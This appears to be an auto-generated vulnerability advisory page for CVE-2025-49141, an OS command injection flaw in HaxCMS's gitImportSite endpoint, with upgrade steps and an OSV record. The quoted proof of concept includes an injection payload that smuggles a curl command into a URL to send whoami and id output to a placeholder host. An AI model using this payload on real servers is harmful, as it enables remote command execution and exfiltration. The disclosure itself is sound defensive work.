CVE-2025-49141: @haxtheweb/haxcms nodejs HaxCMS-PHP Command Injection Vulnerability Vulnerability
HIGHCVE-2025-49141 is a HIGH (CVSS 8.5) haxcms-php command injection vulnerability vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting @haxtheweb/haxcms nodejs libraries in the npm ecosystem. The issue involves haxcms-php command injection vulnerability. Remediation is available by upgrading affected packages to version 11.0.3.
CVE-2025-49141 at a Glance
Security Impact
CVSS: 8.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2025-49141
To remediate this vulnerability, upgrade all affected @haxtheweb/haxcms nodejs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @haxtheweb/haxcms-nodejs@11.0.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @haxtheweb/haxcms-nodejs
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-49141, inspect your project dependencies using npm:
npm ls @haxtheweb/haxcms-nodejs
Analyze the terminal output to locate any version of @haxtheweb/haxcms nodejs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 11.0.3), your application is affected.
Note: The npm ls @haxtheweb/haxcms-nodejs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In @haxtheweb/haxcms nodejs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-49141 Affected @haxtheweb/haxcms nodejs Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@haxtheweb/haxcms-nodejs
|
npm |
< 11.0.3
|
11.0.3
|
References
Frequently Asked Questions
What is CVE-2025-49141?
Which @haxtheweb/haxcms nodejs versions are affected?
What version fixes CVE-2025-49141?
Is @haxtheweb/haxcms-nodejs affected?
What is the CVSS score of CVE-2025-49141?
What CWE is associated with CVE-2025-49141?
How can I check npm dependencies for CVE-2025-49141?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-g4cf-pp4x-hqgw",
"modified" : "2025-06-20T17:24:48Z",
"published" : "2025-06-09T20:30:34Z",
"aliases" : [ "CVE-2025-49141" ],
"summary" : "HaxCMS-PHP Command Injection Vulnerability",
"details" : "### Summary\nThe 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.\n\n### Details\nThe vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.\n\n\n#### Affected Resources\n• Operations.php:2103 gitImportSite()\n• \\<domain\\>/\\<user\\>/system/api/gitImportSite\n\n\n\n### PoC\nTo replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').\n\n1. Start a webserver.\n\n\n2. Initiate a request to the ’archiveSite’ endpoint.\n\n\n3. Capture and modify the request in BurpSuite.\n\n\n\n\n\n\n\n4. Observe command output in the HTTP request from the server.\n\n\n\n#### Command Injection Payload\n```Bash\nhttp://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef\n```\n\n\n### Impact\nAn authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@haxtheweb/haxcms-nodejs"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "11.0.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/haxtheweb/issues/security/advisories/GHSA-g4cf-pp4x-hqgw"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-49141"
}, {
"type" : "WEB",
"url" : "https://github.com/haxtheweb/haxcms-nodejs/commit/5131fea6b6be611db76a618f89bd2e164752e9b3"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/haxtheweb/haxcms-nodejs"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-78" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-06-09T20:30:34Z",
"nvd_published_at" : "2025-06-09T21:15:47Z"
}
}